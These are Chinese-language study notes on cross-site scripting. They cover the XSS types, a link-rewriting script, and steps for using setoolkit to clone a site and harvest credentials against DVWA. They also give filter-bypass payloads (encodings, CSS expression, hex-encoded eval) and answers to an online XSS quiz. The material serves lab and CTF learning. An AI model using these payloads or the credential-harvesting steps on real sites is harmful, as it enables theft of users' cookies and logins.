XSS跨站脚本
一、XSS漏洞介绍
- Cross Site Scripting跨站脚本攻击,区分CSS 层叠样式表
二、XSS类型
1、反射型
- 非持久性攻击
2、存储型
- 持久性攻击
- <script>alert(document.cookie);
3、DOM型
- 页面结构
三、XSS篡改链接
- 使用javascript中的匿名函数
-
<script> window.onload = function(){ var link = document.getElementsByTagName("a"); for(j=0;j<link.length;j++){ link[j].href = "http://www.baidu.com"; } } </script>
-
- beef-xss工具
四、盗取用户信息
- setoolkit克隆网站工具
- kali中输入setoolkit
- 社会工程攻击–>1
- 网站攻击–>2
- 凭据手机攻击–>3
- root网站克隆–>2
- 在DVWA中XSS(Stored)中执行
五、XSS攻击
- 探测过程
- 构造一个不会被识别为恶意代码的字符串提交到页面中
- 去浏览器审查工具中查看提交的字符串所在的位置
- payload
-
<script>alert(document.domain);</script> "</b><scripat>alert(document.cookie);</script> " onmouseover=" alert(document.domain)> base64编码、unicode、十进制、十六进制 HTML实体 js伪协议方式:javascript:xxxxxxxxx
- 属性
-
hidden:隐藏属性 text style:写css的 password disabled readonly maxlength
-
- CSS属性:backgroud:url(“xxxx”)
- IE版本:ietester
-
六、XSS靶场
题目:https://xss-quiz.int21h.jp/
解决思路:
后面几题答案顺序可能是乱的(12题的思路可能是11题的),太久没去弄了,已经忘了
- 1、<script>alert(document.domain)
- 2、οnmοuseοver=alert(document.domain)
- 3、注意hidden
- 4、注意length limited
- 5、javascript:alert(document.domain),伪代码,在a标签中,会告诉a标签执行javascript后面的语句
- 6、span标签内有onclick属性,οnclick=“alert(document.domain)”
- 7、双写
- 8、base64编码
- 9、
-
"><a href="javascr	ipt:alert(document.domain)">xss</a>
- tab制表符html十进制编码
- html所有的转义字符:https://blog.csdn.net/hemeinvyiqiluoben/article/details/79750575
-
- 10、background:url(“javascript:alert(document.domain);”),需要用老版本的IE浏览器或者软件ietester,IE5及其以后版本支持在CSS中使用expression,用来把CSS属性和javascript表达式关联起来
- 11、here:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;});
- 12、\x3cscript\x3ealert(document.domain)\x3c/script\x3e,双斜杠+16进制绕过,https://www.cnblogs.com/hahayixiao/p/10574133.html
- 13、\u003cscript\u003ealert(document.domain);\u003c/script\u003e,unicode编码绕过
七、存储型XSS攻击练习
- 环境pconline
- 网站中会过滤大部分关键字,但有一些没有过滤
- 可以查看pconline文件中system\util\Filter.php文件
- 没有过滤details和ontoggle
- “><details open οntοggle=eval(”\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert (‘xss’)")><"
- kali中
- xsser工具查看有没有XSS漏洞